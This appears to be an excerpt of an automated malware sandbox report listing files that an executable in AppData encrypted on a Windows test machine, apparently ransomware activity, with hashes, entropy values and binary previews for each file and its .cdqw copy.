Preview:	LSBIH>.)....Z.[....[....l{.4.5..u.n....a..vC....&..+.......'G...wi2......,.D.q(o.....8.?%.&.<.....-v/..s...U=..0.Q....f.[r.z..9c@...2...b........<F,...z..r.....]9"..>tg..)tf..vH.j.).2&ZM......?[0..M.....$....!....$L.x...+\|......h.a%.?..........F.v2%qpr.0}.5.....,.6V...b..dk._....1.(...P~.1...7...}.X..>..\u.N..U+...^"m.@_.n.W.J.q6.:..NE5...s..D....6...%J.X3:..9....Cx.zwY....a..{....n.flr.tA..NL.k...L{s..d.Q.v..-"R.]jC.O...(.......o.n.RX.n.`........&^....A8:..r~...@.w.,ZC....d.....X.X......-_.......9WT...W.il......c.Fx[....~Vv.m./.....CXK.....s5..p4..+q.4...}5`....DM./..(.....GZQ...s..C.N......$\....i.Vl..5.(....A@[.F...3...<.Ok....;....j.g1....=<...\|..{nW.#.q.7.,}.......s.Z.....-.Fs....L..n...}.....N3....."N..k.qr9.....z.../........].z..X.....f.:.DS5wV..r.A.5J.....(.....}...j..._..a.......X.'..5.n6..U\P.Hf.:.:3YC...J.M9../;Y[.p..............\H......`&..R.&..J.lSA.?M.3....B...Q...a..&.i/......../...j..\m.....ZC..J.C..k*...r.v...Z...w..W...

C:\Users\user\Desktop\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.881219042760431
Encrypted:	false
SSDEEP:	24:Xgfu7b8P19wqBLEJT7CScjzBLiN2zCt1FfGa2tY1eSj1qLp5TDbQ06uSBr2bD:QfMbywq+JfC7j9LiN2zK19zeSj1q15nb
MD5:	E57C0EA91AF600F24C10B62F2240EAA2
SHA1:	9322FAF5433B2182E7305959FBAFC518CBD01466
SHA-256:	64E1945BE3BBC2D2FE5D9F0498194769241DCCC465D3EABBF50292C949F870F5
SHA-512:	21E915CF2E71F71AF49DA8986FA8E3101F3A670C61F9254EA7ADF922569DCEB1DFEBEC559B688CBD7732CA69B55810ACD78A0AB52A0FB6FF1CC5DBDF391D2D8D
Malicious:	false
Preview:	NEBFQE.....d....T.S._.c/..b...Pj\|.._..{X.M...x\|Kj......8NQhr.w.P.....B..Q.....!.W...`}'..._...y&l0...nuQ...H.c..).z..5...5V...?..C.7e."...<.....~.k.o4t+W....3.K.5A..T.6....M#.b....)..=..9,....w!.Vj..xQ}...."..2V]..SBh.....>..h..JQ&.T...L....!...<\.....Ou.)........8.Dt.K....+,.O.{.o..O.....U...L...?......4m..o.v....h:.h.0..r`.L.....-].g...k@........FS.UO@..,!.5jm.........0....a... k>..@D.~....y..h...lvJ..T;.'...[..$.r.2.(U..<.N...s.Q...fXbx...U..2k/.?!.W/?r...[....H/...+.a.....k...w.2#JIY.?b.H.s(...\.....'x..A........KjRV!.=(...".MRT.,c#...^..I#.....C......NL.V.d...&.C.y.Ce~.E..h$.z3Bf4Z...&..zX.....9g.E$.H.T...q.<^.P.h.In......N=.O.R"\|.{.rUN....e.....g.s...EM2...eE.to..]2\....Z~.{B...xZ.2o`..UB./... .x9......~.....6.wJ.n3`.......u'=...&d..j...#Z:&...%......."z..h$...*H..6.......E=o...?..i.......kU..W.?.G....=\|.8\..z~.lG>.L.w...n"u...gl.mM].<,...(r@........Kt;=.6.[I.s..+.....s....n.tpd..'..jD."...+H..c/).J....W....}!......X.u.F.....{SD

C:\Users\user\Desktop\NEBFQQYWPS.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.881219042760431
Encrypted:	false
SSDEEP:	24:Xgfu7b8P19wqBLEJT7CScjzBLiN2zCt1FfGa2tY1eSj1qLp5TDbQ06uSBr2bD:QfMbywq+JfC7j9LiN2zK19zeSj1q15nb
MD5:	E57C0EA91AF600F24C10B62F2240EAA2
SHA1:	9322FAF5433B2182E7305959FBAFC518CBD01466
SHA-256:	64E1945BE3BBC2D2FE5D9F0498194769241DCCC465D3EABBF50292C949F870F5
SHA-512:	21E915CF2E71F71AF49DA8986FA8E3101F3A670C61F9254EA7ADF922569DCEB1DFEBEC559B688CBD7732CA69B55810ACD78A0AB52A0FB6FF1CC5DBDF391D2D8D
Malicious:	false
Preview:	NEBFQE.....d....T.S._.c/..b...Pj\|.._..{X.M...x\|Kj......8NQhr.w.P.....B..Q.....!.W...`}'..._...y&l0...nuQ...H.c..).z..5...5V...?..C.7e."...<.....~.k.o4t+W....3.K.5A..T.6....M#.b....)..=..9,....w!.Vj..xQ}...."..2V]..SBh.....>..h..JQ&.T...L....!...<\.....Ou.)........8.Dt.K....+,.O.{.o..O.....U...L...?......4m..o.v....h:.h.0..r`.L.....-].g...k@........FS.UO@..,!.5jm.........0....a... k>..@D.~....y..h...lvJ..T;.'...[..$.r.2.(U..<.N...s.Q...fXbx...U..2k/.?!.W/?r...[....H/...+.a.....k...w.2#JIY.?b.H.s(...\.....'x..A........KjRV!.=(...".MRT.,c#...^..I#.....C......NL.V.d...&.C.y.Ce~.E..h$.z3Bf4Z...&..zX.....9g.E$.H.T...q.<^.P.h.In......N=.O.R"\|.{.rUN....e.....g.s...EM2...eE.to..]2\....Z~.{B...xZ.2o`..UB./... .x9......~.....6.wJ.n3`.......u'=...&d..j...#Z:&...%......."z..h$...*H..6.......E=o...?..i.......kU..W.?.G....=\|.8\..z~.lG>.L.w...n"u...gl.mM].<,...(r@........Kt;=.6.[I.s..+.....s....n.tpd..'..jD."...+H..c/).J....W....}!......X.u.F.....{SD

C:\Users\user\Desktop\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848282016181267
Encrypted:	false
SSDEEP:	24:/u+TVex9zHWSR6ttehnmILyCZLRGWNerJsbXNEb/E1HvTi0rk7V2bD:/u+TV69zHJotsNTLRZz6sbXaE1HvTiOd
MD5:	7BA48E5B69687F0D3C8FBD0EBF1922C8
SHA1:	7C80F37F268A165A56CA6397C18D1B2D36BE11B3
SHA-256:	1EA6FA7A92BAEDB9DA6E4113082D997CE000173313ACC909090BB2E166539CE9
SHA-512:	2E8CC58D55E4D55EC6EBCC76038BDC5BBBD4172EFF02C9D3A12B45C710647145E0F791357545551228D11C4D235AB7784037238C85E9637CD31BA93898AD06BF
Malicious:	false
Preview:	PIVFAh..x......,4..p.\|..X7.4.n9.....u9 3....'.'.P.ra{x.&.}g....o.5W<.......W.".#..5g...u...~R..]B..K[..sK...E.x.r=........x....(sC)&..L,...j.8..^@...1w<.....Am..W..{....'`......h[.F........6...dq..&bB..Vnw..&t..'@.\|mI...m.{.'..)....]b............w..n..L...:........p.Ua....i..4yp....S55...../51~...j.2VT;N.@.q.U./?...GYRjO+M..9!.......,J.._H5./W.>$h......2.{Y../......$.&0..}.5....#....V]......G.RE-OE.........9....AX.y.=...)..W\. =}+,..l$SpQL"-.. W+tK...M1C....2.......thAyL`k.A.K..b.,.k....,........=.[:lx<....G.(..7..BR]E...}... .U..J+...G.u.k..x..A....?44.!.....=/........v.\|@hR."a._x..>.gWxC ...HE..#i.+.....k............GA.%.. ?E ...!..'s@......-?..J...5o"..6N.z...i{'.....mF.=..{a..)...0...B..u%...4...D.Q........m..^H.. ...#b.YW....oF.^....:(2....#R...Yo...C..f...0]..w..%...d.R.\|..76.l.Uq.../..?p..a..z.\..5=.$-Q"F[/z............ .8l...{.MP..........g.?.....~...}..ix.)/%....n...SR.:...g...b..\......U.....~).{.H.....D.....YY.:....k.......

C:\Users\user\Desktop\PIVFAGEAAV.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848282016181267
Encrypted:	false
SSDEEP:	24:/u+TVex9zHWSR6ttehnmILyCZLRGWNerJsbXNEb/E1HvTi0rk7V2bD:/u+TV69zHJotsNTLRZz6sbXaE1HvTiOd
MD5:	7BA48E5B69687F0D3C8FBD0EBF1922C8
SHA1:	7C80F37F268A165A56CA6397C18D1B2D36BE11B3
SHA-256:	1EA6FA7A92BAEDB9DA6E4113082D997CE000173313ACC909090BB2E166539CE9
SHA-512:	2E8CC58D55E4D55EC6EBCC76038BDC5BBBD4172EFF02C9D3A12B45C710647145E0F791357545551228D11C4D235AB7784037238C85E9637CD31BA93898AD06BF
Malicious:	false
Preview:	PIVFAh..x......,4..p.\|..X7.4.n9.....u9 3....'.'.P.ra{x.&.}g....o.5W<.......W.".#..5g...u...~R..]B..K[..sK...E.x.r=........x....(sC)&..L,...j.8..^@...1w<.....Am..W..{....'`......h[.F........6...dq..&bB..Vnw..&t..'@.\|mI...m.{.'..)....]b............w..n..L...:........p.Ua....i..4yp....S55...../51~...j.2VT;N.@.q.U./?...GYRjO+M..9!.......,J.._H5./W.>$h......2.{Y../......$.&0..}.5....#....V]......G.RE-OE.........9....AX.y.=...)..W\. =}+,..l$SpQL"-.. W+tK...M1C....2.......thAyL`k.A.K..b.,.k....,........=.[:lx<....G.(..7..BR]E...}... .U..J+...G.u.k..x..A....?44.!.....=/........v.\|@hR."a._x..>.gWxC ...HE..#i.+.....k............GA.%.. ?E ...!..'s@......-?..J...5o"..6N.z...i{'.....mF.=..{a..)...0...B..u%...4...D.Q........m..^H.. ...#b.YW....oF.^....:(2....#R...Yo...C..f...0]..w..%...d.R.\|..76.l.Uq.../..?p..a..z.\..5=.$-Q"F[/z............ .8l...{.MP..........g.?.....~...}..ix.)/%....n...SR.:...g...b..\......U.....~).{.H.....D.....YY.:....k.......

C:\Users\user\Desktop\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846377299316309
Encrypted:	false
SSDEEP:	24:ZNv0T40ymnb6y/4EFyhvH+7vj5c1RKRa84gun3J/9TZALvZw3iFoo2bD:ZNvs40y0b6WyHQjyRGunHTuLvFF2D
MD5:	7A578C9E03F5E6269143723EDEA7B502
SHA1:	70E728CE2982E419966DF033B8E09D0CA559A14B
SHA-256:	D57212F800B742A0B50917AFDF3BD2C40C9FE8648A1BBD09481F2FAB8D667F05
SHA-512:	A531BEE756B415F664D00148B29C5A68D1B95611892F5D04BFA32A6F0C861D5782AB37FA7540EEA2E9CA3BFE94A0048B35FA908364A2D03A4629EA9A9073CED4
Malicious:	false
Preview:	QNCYC9...x...]IU.Kt.Lb.-x#AwE....s2o.W^T..s...}G.i../y&T.....ky....n.....u-..{\(....1F.\W..d.G}h .yf.PKt..Akd....._..gb<%.jz..T..\.....eY.D...........G.\|oG...G...........r..-C.;....4.J...(.7._6.&../....\|..;<.........Rx5.cp.h..............(.F.?..........}.U..g.... .l......2&.......'..J...{..y....k..7..k-..t.gnM,..F.&!....Y\m...yO.r.../..h.......q...<.Nz.....o.......R"..z.s....-d3!......u...S....N.N..h.5...\|.Em.7Q.m./.).#2.4G...K=......0"......y.f.\J..uE.{..\.\..I....n./\|T~..k.0.!9.....B..n.ZK.A.=..X..._6.E.\m..!...<....Z..=....k...+..c....3..C&2.G..<</...Qs...(\|....&.D..n.u..[....1...Z\|2..>.fe....I.."..It..-.k.c....'..e../.JY.M..$..:U%."..U..1gH..F"V!..Ui7.g.Z...+..cKc...FC...._.`..w.+pq.S....,.....w~.5.j...j...-<.&....w..1.....\u...+..~rj=....6...i.B...<J.ve...:......9)=..L\N.C'.>...`.0J..3..MD..Iz. ...4.. ......]...N......,....Z}Wn.......c...FI.C~.....5/V.......5.2.[`..F...apZl.Z..#.^I..wT5(#. ....B.S.....B^..{mk\|.ai.hC.m..`y&.

C:\Users\user\Desktop\QNCYCDFIJJ.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846377299316309
Encrypted:	false
SSDEEP:	24:ZNv0T40ymnb6y/4EFyhvH+7vj5c1RKRa84gun3J/9TZALvZw3iFoo2bD:ZNvs40y0b6WyHQjyRGunHTuLvFF2D
MD5:	7A578C9E03F5E6269143723EDEA7B502
SHA1:	70E728CE2982E419966DF033B8E09D0CA559A14B
SHA-256:	D57212F800B742A0B50917AFDF3BD2C40C9FE8648A1BBD09481F2FAB8D667F05
SHA-512:	A531BEE756B415F664D00148B29C5A68D1B95611892F5D04BFA32A6F0C861D5782AB37FA7540EEA2E9CA3BFE94A0048B35FA908364A2D03A4629EA9A9073CED4
Malicious:	false
Preview:	QNCYC9...x...]IU.Kt.Lb.-x#AwE....s2o.W^T..s...}G.i../y&T.....ky....n.....u-..{\(....1F.\W..d.G}h .yf.PKt..Akd....._..gb<%.jz..T..\.....eY.D...........G.\|oG...G...........r..-C.;....4.J...(.7._6.&../....\|..;<.........Rx5.cp.h..............(.F.?..........}.U..g.... .l......2&.......'..J...{..y....k..7..k-..t.gnM,..F.&!....Y\m...yO.r.../..h.......q...<.Nz.....o.......R"..z.s....-d3!......u...S....N.N..h.5...\|.Em.7Q.m./.).#2.4G...K=......0"......y.f.\J..uE.{..\.\..I....n./\|T~..k.0.!9.....B..n.ZK.A.=..X..._6.E.\m..!...<....Z..=....k...+..c....3..C&2.G..<</...Qs...(\|....&.D..n.u..[....1...Z\|2..>.fe....I.."..It..-.k.c....'..e../.JY.M..$..:U%."..U..1gH..F"V!..Ui7.g.Z...+..cKc...FC...._.`..w.+pq.S....,.....w~.5.j...j...-<.&....w..1.....\u...+..~rj=....6...i.B...<J.ve...:......9)=..L\N.C'.>...`.0J..3..MD..Iz. ...4.. ......]...N......,....Z}Wn.......c...FI.C~.....5/V.......5.2.[`..F...apZl.Z..#.^I..wT5(#. ....B.S.....B^..{mk\|.ai.hC.m..`y&.

C:\Users\user\Desktop\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873251428101399
Encrypted:	false
SSDEEP:	24:l/kbYZI6W7SZr3HTFXdUm7ejOMp7pvyUkf4gd6S+OI9rm25lxCWvzqEIVe8Jxu2X:l/kbYzZr3Bt8yspi+NOIp5l32e8D
MD5:	B0DEC122870AF746ACA4307809C2DFAC
SHA1:	09FEE7CA0E1D566BCD2141F557E3A55963B57657
SHA-256:	A15D2852694E5A8B417147B5AC4F6928B3AE55964661280B2B8A8ABB1550C898
SHA-512:	121311984283D15A4C4C044FEE1A8E66E3A9439D69691FA22EFA81E7D3CEAF12798874B03BC195F8F1156321FEB9A1E2F28726E2A13BFC704D4194013BC584B1
Malicious:	false
Preview:	ZQIXM\.D...............?..bNO3....^.\|....$&....mv/0...;...D-..-....4.#s......3..1........\..b...78.9...5.&.#p...(M.(..1...3..'u..K..od.\|.o...X=qSlG.."....u.......<.k.;A~W..R..8,.b...l.w..G0Rh......e.+wC..s7....C...0c..bj.....%.....%j...:........y..Y....G~..........2........C.aOt).....S&o..k.^......%\a/jv.....~.....k{..L....6C.kN..5..w.7....h..O+..s?.^..Y.Q..\.eU..W...,-.....H....M..t....:.<.....+Z.:..6.vnl..:......XK-=.x.....P/..7..F.x#Y...m.....l.....$..'.B....>......{....."...j.r....A....../.....[....."d+.<.B.ry.t$..;RA.-.<......j......-..........Al.".[...._...t.....pI.$.`.%..0.d9.].Uf.[. ..e..W...... .]H#.G.0.p..eCN...d{......d./.3.J-....}...fL..u..Y".U..o.t.O#.U.qJ7..d..-7>XBm%...B...\.."S.vd3.:..#D..1..[.PnW6K<-.RT.b"^Z\|`_`.z.{.v.b......J.~5^.....g.......TH-.6o....Q4.7]DX....zEm........N@...'...A+i.s....q..<.C3....Q0.I.f....V~..+_..Z..'J1o.2\|`Nh!_B...f.Y.V.!a%.......4........5.XqX1.1...SFY.w...<..[.f....:.p..&...2....;i...X.K

C:\Users\user\Desktop\ZQIXMVQGAH.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873251428101399
Encrypted:	false
SSDEEP:	24:l/kbYZI6W7SZr3HTFXdUm7ejOMp7pvyUkf4gd6S+OI9rm25lxCWvzqEIVe8Jxu2X:l/kbYzZr3Bt8yspi+NOIp5l32e8D
MD5:	B0DEC122870AF746ACA4307809C2DFAC
SHA1:	09FEE7CA0E1D566BCD2141F557E3A55963B57657
SHA-256:	A15D2852694E5A8B417147B5AC4F6928B3AE55964661280B2B8A8ABB1550C898
SHA-512:	121311984283D15A4C4C044FEE1A8E66E3A9439D69691FA22EFA81E7D3CEAF12798874B03BC195F8F1156321FEB9A1E2F28726E2A13BFC704D4194013BC584B1
Malicious:	false
Preview:	ZQIXM\.D...............?..bNO3....^.\|....$&....mv/0...;...D-..-....4.#s......3..1........\..b...78.9...5.&.#p...(M.(..1...3..'u..K..od.\|.o...X=qSlG.."....u.......<.k.;A~W..R..8,.b...l.w..G0Rh......e.+wC..s7....C...0c..bj.....%.....%j...:........y..Y....G~..........2........C.aOt).....S&o..k.^......%\a/jv.....~.....k{..L....6C.kN..5..w.7....h..O+..s?.^..Y.Q..\.eU..W...,-.....H....M..t....:.<.....+Z.:..6.vnl..:......XK-=.x.....P/..7..F.x#Y...m.....l.....$..'.B....>......{....."...j.r....A....../.....[....."d+.<.B.ry.t$..;RA.-.<......j......-..........Al.".[...._...t.....pI.$.`.%..0.d9.].Uf.[. ..e..W...... .]H#.G.0.p..eCN...d{......d./.3.J-....}...fL..u..Y".U..o.t.O#.U.qJ7..d..-7>XBm%...B...\.."S.vd3.:..#D..1..[.PnW6K<-.RT.b"^Z\|`_`.z.{.v.b......J.~5^.....g.......TH-.6o....Q4.7]DX....zEm........N@...'...A+i.s....q..<.C3....Q0.I.f....V~..+_..Z..'J1o.2\|`Nh!_B...f.Y.V.!a%.......4........5.XqX1.1...SFY.w...<..[.f....:.p..&...2....;i...X.K

C:\Users\user\Documents\BNAGMGSPLO.pdf

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8417343599387825
Encrypted:	false
SSDEEP:	24:h45cMwTQBGxVSlPnZBljdR4oxHqmMLcbYeDcY/GkXKgmAsVSIu2v2bD:qJqpQPnnljT4EHqmMLcMe/hsVSMMD
MD5:	66DB672EDB48CD84B347B85B7BF8E543
SHA1:	5B1B0B4DFC3F8FA4A470F382EEEE6DDDF01B58AD
SHA-256:	C50E82E63A90DBFEB7EF23014FB230B0CAEE5CFC819ACDB5421C934BB2A41FAB
SHA-512:	773F28FF4778BAA158A4820614D0B791E50AD5D0631E824A120CB78CF733D0997D7969BF353441F4F07F08F6AB3A7253E1D9D7EC4E4AA43A23EB6BBAF075E56D
Malicious:	false
Preview:	BNAGM..%d..)l......D................oB..-w_P.V....}5....7/j.i..Z.Ry.HZ.{.jk....]Pe{iz..=.......K'.\......,.jw.i..@.G9C0.u..cx..E..^6...m..g.....$...{am.xN.....Y....C..7.,....v..k......r..T.{b..3.A.f.......L..L.s......_...w.s.._.-l.,M.r.9...........dn...M.T.[.d]>...u@..((.....;v.{..Tv.....rwD..yA.....ia.#4eYo.........y..t.D..E...h.=....'.n...M..Q.C."NHo.9M..xX..C...k]+.b............G..i..\|...[...=n..?.#.....d!.'...t..9..,.j.r0n....*J..4].......=.v\/..5k=..fT6.../.!..NY'...A-\..+-.'.%...M7U.(.=.OHNg.....%BE...Q.6A.Y.tm.~..6.q...mFjp.8.....s...<.nf.sj..F"..5U.l.Z.F....JI..j0.F2..C.........L.(aa...%.8...'_x. .#GF.......'G..up..[.t....r..m........R"9..... I.U.Z.;}d.w`~.`.....,..Eq.E;........T.....fS.x..14H.`..@..ACjkb.G.}.f...:..2(6..R.I#I.^..4..BF..(?.f....0....=h.MS.mrj.\|...+.X..A......h.2..;I.<..0..N&.K..w./X........Zx...?..+".gl.H'....5.t."..N9w.n..>...=.1.t...0.Z5.r....z.x....S..>fzW.W..y<......).7.\..Tc.q.c.~O.>....,F.....g.....[..

C:\Users\user\Documents\BNAGMGSPLO.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8417343599387825
Encrypted:	false
SSDEEP:	24:h45cMwTQBGxVSlPnZBljdR4oxHqmMLcbYeDcY/GkXKgmAsVSIu2v2bD:qJqpQPnnljT4EHqmMLcMe/hsVSMMD
MD5:	66DB672EDB48CD84B347B85B7BF8E543
SHA1:	5B1B0B4DFC3F8FA4A470F382EEEE6DDDF01B58AD
SHA-256:	C50E82E63A90DBFEB7EF23014FB230B0CAEE5CFC819ACDB5421C934BB2A41FAB
SHA-512:	773F28FF4778BAA158A4820614D0B791E50AD5D0631E824A120CB78CF733D0997D7969BF353441F4F07F08F6AB3A7253E1D9D7EC4E4AA43A23EB6BBAF075E56D
Malicious:	false
Preview:	BNAGM..%d..)l......D................oB..-w_P.V....}5....7/j.i..Z.Ry.HZ.{.jk....]Pe{iz..=.......K'.\......,.jw.i..@.G9C0.u..cx..E..^6...m..g.....$...{am.xN.....Y....C..7.,....v..k......r..T.{b..3.A.f.......L..L.s......_...w.s.._.-l.,M.r.9...........dn...M.T.[.d]>...u@..((.....;v.{..Tv.....rwD..yA.....ia.#4eYo.........y..t.D..E...h.=....'.n...M..Q.C."NHo.9M..xX..C...k]+.b............G..i..\|...[...=n..?.#.....d!.'...t..9..,.j.r0n....*J..4].......=.v\/..5k=..fT6.../.!..NY'...A-\..+-.'.%...M7U.(.=.OHNg.....%BE...Q.6A.Y.tm.~..6.q...mFjp.8.....s...<.nf.sj..F"..5U.l.Z.F....JI..j0.F2..C.........L.(aa...%.8...'_x. .#GF.......'G..up..[.t....r..m........R"9..... I.U.Z.;}d.w`~.`.....,..Eq.E;........T.....fS.x..14H.`..@..ACjkb.G.}.f...:..2(6..R.I#I.^..4..BF..(?.f....0....=h.MS.mrj.\|...+.X..A......h.2..;I.<..0..N&.K..w./X........Zx...?..+".gl.H'....5.t."..N9w.n..>...=.1.t...0.Z5.r....z.x....S..>fzW.W..y<......).7.\..Tc.q.c.~O.>....,F.....g.....[..

C:\Users\user\Documents\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830089676461124
Encrypted:	false
SSDEEP:	24:Dq4SAGThhgFX6D+VTwNfS+1rdfAzWxXS1rZvZ4eG8yRa2s2bD:D/G7OXxVTAS+nxc1lviepyRr/D
MD5:	B3E561737A38B31ECF03A7C3F29C6D19
SHA1:	591B217B97716F45C8FF18D5C4D077AEBAB61752
SHA-256:	99CB5B05C903E1CBCA30E97356837849703D204C14705377FDE1F2ED3CBE2136
SHA-512:	8D1C7617255922C6B0228D88E4263107A4E22A3A96C1386E574040A664F34F1E91C575DDB1990526424487D7192B7948B81CDD350ADC9F321A4410C46C913964
Malicious:	false
Preview:	EEGWX....^[.ib...;.;.....J6......+MzKmb.pe7RD.......G..t.a8...C.P..X@._..M.v...Y;.(..@.u.......KR.U...e6dF.:...Nd.>3....rG-..Le?:....2.....T.a....(jhNG.........}.y j&......Z....Dx....j.........%1...z....k....M.[...=[.`..b....xeEUG.-..V.^....Cbt....:...../$...wL...'A..s.kw#...f.f.^..OS.t.P...(u.>......^.@i.E._..Q.....P.v.[...........\.G-......C...K.t...<.;.a.lCC(.'. ..>'j{..Ym...I0.#..=...P8.G.}.M.O%.3.'.Q......qI9yW....t.T..y...K....gS...8e\|..._....5.....6.!.....5m/...$m.....b......x'...r....dy....=$..r.s.I...y...M8.Y....2f.i_EE...~...>.....!w....(.8..h<....j.h...........".....L./.Gg].Li6oe\|#N......3>.56...Z..n...u&..S..."a..L/.by.....wM>......y..{VS...z8.OI.....O...N..p{..Q........D.z.bUk.....7....;...D...'.(......\....(...NIRa......G1.....Q.:ov...^~r=.>...v...8.;o`..{z.....h..{z.~.$....p..v&..W.......n...2#![y.'.-..I..h.....\..83.0.....~.....b......A...O.S.eU.hr.*4b.4.V%....K#r...rN..w.g.M.y......+.Z0.m...Ve...

C:\Users\user\Documents\EEGWXUHVUG.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830089676461124
Encrypted:	false
SSDEEP:	24:Dq4SAGThhgFX6D+VTwNfS+1rdfAzWxXS1rZvZ4eG8yRa2s2bD:D/G7OXxVTAS+nxc1lviepyRr/D
MD5:	B3E561737A38B31ECF03A7C3F29C6D19
SHA1:	591B217B97716F45C8FF18D5C4D077AEBAB61752
SHA-256:	99CB5B05C903E1CBCA30E97356837849703D204C14705377FDE1F2ED3CBE2136
SHA-512:	8D1C7617255922C6B0228D88E4263107A4E22A3A96C1386E574040A664F34F1E91C575DDB1990526424487D7192B7948B81CDD350ADC9F321A4410C46C913964
Malicious:	false
Preview:	EEGWX....^[.ib...;.;.....J6......+MzKmb.pe7RD.......G..t.a8...C.P..X@._..M.v...Y;.(..@.u.......KR.U...e6dF.:...Nd.>3....rG-..Le?:....2.....T.a....(jhNG.........}.y j&......Z....Dx....j.........%1...z....k....M.[...=[.`..b....xeEUG.-..V.^....Cbt....:...../$...wL...'A..s.kw#...f.f.^..OS.t.P...(u.>......^.@i.E._..Q.....P.v.[...........\.G-......C...K.t...<.;.a.lCC(.'. ..>'j{..Ym...I0.#..=...P8.G.}.M.O%.3.'.Q......qI9yW....t.T..y...K....gS...8e\|..._....5.....6.!.....5m/...$m.....b......x'...r....dy....=$..r.s.I...y...M8.Y....2f.i_EE...~...>.....!w....(.8..h<....j.h...........".....L./.Gg].Li6oe\|#N......3>.56...Z..n...u&..S..."a..L/.by.....wM>......y..{VS...z8.OI.....O...N..p{..Q........D.z.bUk.....7....;...D...'.(......\....(...NIRa......G1.....Q.:ov...^~r=.>...v...8.;o`..{z.....h..{z.~.$....p..v&..W.......n...2#![y.'.-..I..h.....\..83.0.....~.....b......A...O.S.eU.hr.*4b.4.V%....K#r...rN..w.g.M.y......+.Z0.m...Ve...

C:\Users\user\Documents\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8581230212289
Encrypted:	false
SSDEEP:	24:PPaz/ibdib5/agZ4z6SUAQpqMhlQ1CGmcsM6eXJvfTpWyw5YcHmrfMcNiKkOM2bD:PSG8b5UEpqMhcfmcsMnJTp1wmbfiKbfD
MD5:	D461678E8F5CEA9E17214EA75C38AB1A
SHA1:	35B8A3FB9C910CF913233429DC0407C42A1ACD15
SHA-256:	3E91739D28C2FB851CD9B7C5B72E0B5E3EF7F33E10E57961D15472332873D1D7
SHA-512:	F91DF1206885CD4572CC180F9C440DE28855025C476CDAA0294666503137B792F95A61F6B27D10E4A3C6511140D09C775E3E1278710693F0DD9EF84B95DE0DC3
Malicious:	false
Preview:	IPKGEE:......b.r4w....nI.}...:.....r..,4.4....N@...S..r.x....[.?...\|.$..H..b..^.E.....`.......!>.mV.k[q..,.@...:..AH.....>..K..<......)....D.iO.{...;.......i.. P.l.}..8.9.b......(=6.!+....S..1.."r-/V..sq.........A..<.}.,...\..'}r.$[.).%..B.:P%dv...vK^.&...n....U}...b.6g..-Np...=.g.N.y....z....k.hH7...>.#....).8.)6.......j..[ga.U.9E..z.D.m0..7..]...4.A.N..<<..I..x.X.....G...<.T=.E/..@s.6M.W......w..u.3.h.....9.2.V.e...'=...1...@5......).w.Q..-.......:sI.....X..[.L8{..c....&G8.,.._4m.=.....j04..F...........a.9.d_g1O.....q.X.N\j.:?.V...ua..X.T?.2&LO_.N$J...\..y.Q.....M).B........t.a....{;.._.9@....+.I.6.M....X...m+.......4..R..sM...h.l.......Q......u...;f......ra.hzo.e.1..&..."6.n.....M.c=.//Y...Q..f.l.]ZH.`{..f.b.f.....L..N...\|.d0!(....$...NXS..`Q.=....?.^h.V.tt.*0..(..3.?.[..g.O...9.r....a..W<t_...Nx.O.F....<.Y).....wLw?..o.m-....Q<.nd........+hk..<..9.r...N.+..eS..zL......q......LO..w.^..5,]2a..\g%.X......T..G9x.v".)4......x..l...<n!.P

C:\Users\user\Documents\IPKGELNTQY.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8581230212289
Encrypted:	false
SSDEEP:	24:PPaz/ibdib5/agZ4z6SUAQpqMhlQ1CGmcsM6eXJvfTpWyw5YcHmrfMcNiKkOM2bD:PSG8b5UEpqMhcfmcsMnJTp1wmbfiKbfD
